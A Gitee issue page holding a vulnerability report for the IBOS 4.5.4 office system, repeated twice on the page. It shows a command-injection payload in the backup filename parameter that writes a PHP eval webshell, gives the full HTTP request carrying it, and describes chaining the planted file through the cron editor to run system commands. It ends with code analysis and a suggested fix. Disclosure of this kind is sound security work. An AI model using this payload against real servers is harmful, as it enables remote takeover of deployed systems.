登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
登录
注册
代码拉取完成,页面将自动刷新
开源项目
>
企业应用
>
企业应用系统
&&
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
677
Star
2K
Fork
924
IBOS开源OA协同办公管理
/
IBOS
代码
Issues
4
Pull Requests
2
Wiki
统计
流水线
服务
PHPDoc
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
Arbitrary file inclusion causes getshell
已完成
#I18JRG
c0d1M4x
创建于
2020-01-17 20:07
## Test environment os : windows; IBOS version : IBOS 4.5.4 OPEN ## Vulnerability Test ### Step-1(Use Command Injection Vulnerability) use this vulnerability ```https://gitee.com/ibos/IBOS/issues/I18IIV``` to write a file on the specified directory. first,login in to IBOS system and enter the management background.The operation is as follows like this.  Use burpsuite to grab packets and send them to "Repeater" for modification.Insert payload in parameter filename value.  #### Payload the payload is like this.This payload will generate a file named "zzzzzz" in ```/system/modules/recruit/cron```. ``` %26cd%20system%26cd%20modules%26cd%20recruit%26cd%20cron%26echo+eval($_GET["test"]);>>zzzzz%26aaa ``` #### Packet Data and the packet is like this. ``` POST /?r=dashboard/database/backup HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/?r=dashboard/database/backup Content-Type: application/x-www-form-urlencoded Content-Length: 316 Connection: close Cookie: P8Jm_saltkey=vpb6gmPE; PHPSESSID=3mcqdm2dr10tf3lb4cgpnl6ah5; P8Jm_sid=KmI412; P8Jm_autologin=1; P8Jm_lastactivity=1579248371; P8Jm_ulastactivity=480fKnWDRYWQhA5jDvpydR3bYm23jT9YOEmv%2FidCRP372M6FAptj Upgrade-Insecure-Requests: 1 backuptype=custom&customtables%5B%5D=test_announcement&custom_enabled=1&method=shell&sizelimit=2048&extendins=0&sqlcompat=MYSQL41&sqlcharset=utf8&usehex=0&usezip=0&filename=2020-01-17_kRHRRgOk%26cd%20system%26cd%20modules%26cd%20recruit%26cd%20cron%26echo+eval($_GET["test"]);>>zzzzz%26aaa&dbSubmit=1 ``` ### step-2(Modifying a scheduled task file) enter scheduled task like this,and modify it.The file name was generate in "step-1",such as "zzzzzz".  in this function,modify the "Task script" like this and submit it.  ### step-3(Run Script) Then you can run this script like this.  and use burpsuite function "Repeater" and add the parameter "test" like this,such as "phpinfo()".  run system command is like this,such as "ipconfig".  ## Code analysis The problematic vulnerability is the file ```/system/modules/dashboard/controllers/CronController.php``` and the the function in question is ```actionIndex()``` in line 16.  look at line 40 ```getRealCronFile()``` function will form a complete file path.and the line 41 to line 47,this is the string used to filter filename that modify scheduled tasks.  ```getRealCronFile()``` function code.  In the above code, the save path and file name of the file are guaranteed, but the suffix of the file is not guaranteed, so you can write to arbitrary files to include getshell through other vulnerabilities. ## Solution Should contain a specific type of file in a specified directory, or a specified file.
## Test environment os : windows; IBOS version : IBOS 4.5.4 OPEN ## Vulnerability Test ### Step-1(Use Command Injection Vulnerability) use this vulnerability ```https://gitee.com/ibos/IBOS/issues/I18IIV``` to write a file on the specified directory. first,login in to IBOS system and enter the management background.The operation is as follows like this.  Use burpsuite to grab packets and send them to "Repeater" for modification.Insert payload in parameter filename value.  #### Payload the payload is like this.This payload will generate a file named "zzzzzz" in ```/system/modules/recruit/cron```. ``` %26cd%20system%26cd%20modules%26cd%20recruit%26cd%20cron%26echo+eval($_GET["test"]);>>zzzzz%26aaa ``` #### Packet Data and the packet is like this. ``` POST /?r=dashboard/database/backup HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/?r=dashboard/database/backup Content-Type: application/x-www-form-urlencoded Content-Length: 316 Connection: close Cookie: P8Jm_saltkey=vpb6gmPE; PHPSESSID=3mcqdm2dr10tf3lb4cgpnl6ah5; P8Jm_sid=KmI412; P8Jm_autologin=1; P8Jm_lastactivity=1579248371; P8Jm_ulastactivity=480fKnWDRYWQhA5jDvpydR3bYm23jT9YOEmv%2FidCRP372M6FAptj Upgrade-Insecure-Requests: 1 backuptype=custom&customtables%5B%5D=test_announcement&custom_enabled=1&method=shell&sizelimit=2048&extendins=0&sqlcompat=MYSQL41&sqlcharset=utf8&usehex=0&usezip=0&filename=2020-01-17_kRHRRgOk%26cd%20system%26cd%20modules%26cd%20recruit%26cd%20cron%26echo+eval($_GET["test"]);>>zzzzz%26aaa&dbSubmit=1 ``` ### step-2(Modifying a scheduled task file) enter scheduled task like this,and modify it.The file name was generate in "step-1",such as "zzzzzz".  in this function,modify the "Task script" like this and submit it.  ### step-3(Run Script) Then you can run this script like this.  and use burpsuite function "Repeater" and add the parameter "test" like this,such as "phpinfo()".  run system command is like this,such as "ipconfig".  ## Code analysis The problematic vulnerability is the file ```/system/modules/dashboard/controllers/CronController.php``` and the the function in question is ```actionIndex()``` in line 16.  look at line 40 ```getRealCronFile()``` function will form a complete file path.and the line 41 to line 47,this is the string used to filter filename that modify scheduled tasks.  ```getRealCronFile()``` function code.  In the above code, the save path and file name of the file are guaranteed, but the suffix of the file is not guaranteed, so you can write to arbitrary files to include getshell through other vulnerabilities. ## Solution Should contain a specific type of file in a specified directory, or a specified file.
评论 (
5
)
登录
后才可以发表评论
状态
已完成
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
未关联
分支 (9)
标签 (8)
master
fix/20250121
hotfix/fix-bug-master
hotfix/fix-bug
hotfix/update-patch
hotfix/fix-mobile
featrue/update-4.5.4
feature/tag-open-4.4.2
develop
V4.4.2
4.2.2
4.2
3.9
3.8
3.5
v3.5
3.3
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
PHP
1
https://gitee.com/ibos/IBOS.git
git@gitee.com:ibos/IBOS.git
ibos
IBOS
IBOS
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册